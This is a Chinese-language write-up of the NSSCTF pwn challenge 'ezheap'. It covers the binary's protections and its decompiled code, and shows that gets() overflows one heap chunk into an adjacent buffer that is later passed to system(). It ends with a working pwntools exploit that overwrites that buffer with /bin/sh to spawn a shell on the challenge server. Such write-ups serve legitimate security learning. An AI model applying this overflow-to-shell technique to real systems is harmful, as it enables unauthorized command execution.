题面
提供二进制文件
分析
保护:
1
2
3
4
5
6
7
8
|
❯ pwn checksec --file=pwn
[*] '/data/project/ctf-repo/pwn/nssctf/ezheap/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
|
ida 反编译 main 文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *command; // [esp+8h] [ebp-10h]
char *s; // [esp+Ch] [ebp-Ch]
setbuf(stdin, 0);
setbuf(stdout, 0);
s = (char *)malloc(0x16u);
command = (char *)malloc(0x16u);
puts("Input:");
gets(s);
system(command);
return 0;
}
|
两次 malloc 分配堆空间,最终 system 取第二次的堆空间数据。有一个 gets ,该分配的堆空间是连续的。所以可以直接覆盖到下一个堆空间。
只需要计算好进行溢出的空间恰好在 command 地址写入 /bin/sh 即可拿到 shell。
利用
因为 malloc 分配的堆空间最小为 0x20 字节,而这其中有 0x18 是数据空间。剩下的 0x8 是元数据。本题只分配了 0x16 ,因而按最小 malloc 空间算。
首先注入 0x20 的字符,然后后面填下 /bin/sh 即可。用 pwndbg 验证如下:
1
|
payload = b"a" * 0x20 + b"/bin/sh\x00"
|

可以看到,0x20 恰好覆盖了 command 的 chunk 中的元数据。/bin/sh\x00 恰好在数据空间的头部。
因而就能拿到 shell。
exp
1
2
3
4
5
6
7
8
9
10
11
12
|
from pwn import *
context.gdb_binary = "/bin/pwndbg"
#io = process("./pwn")
io = remote("node5.anna.nssctf.cn", 26118)
payload = b"a" * 0x20 + b"/bin/sh\x00"
#gdb.attach(io)
io.sendline(payload)
io.interactive()
|
在 nssctf 的第一道 heap 题。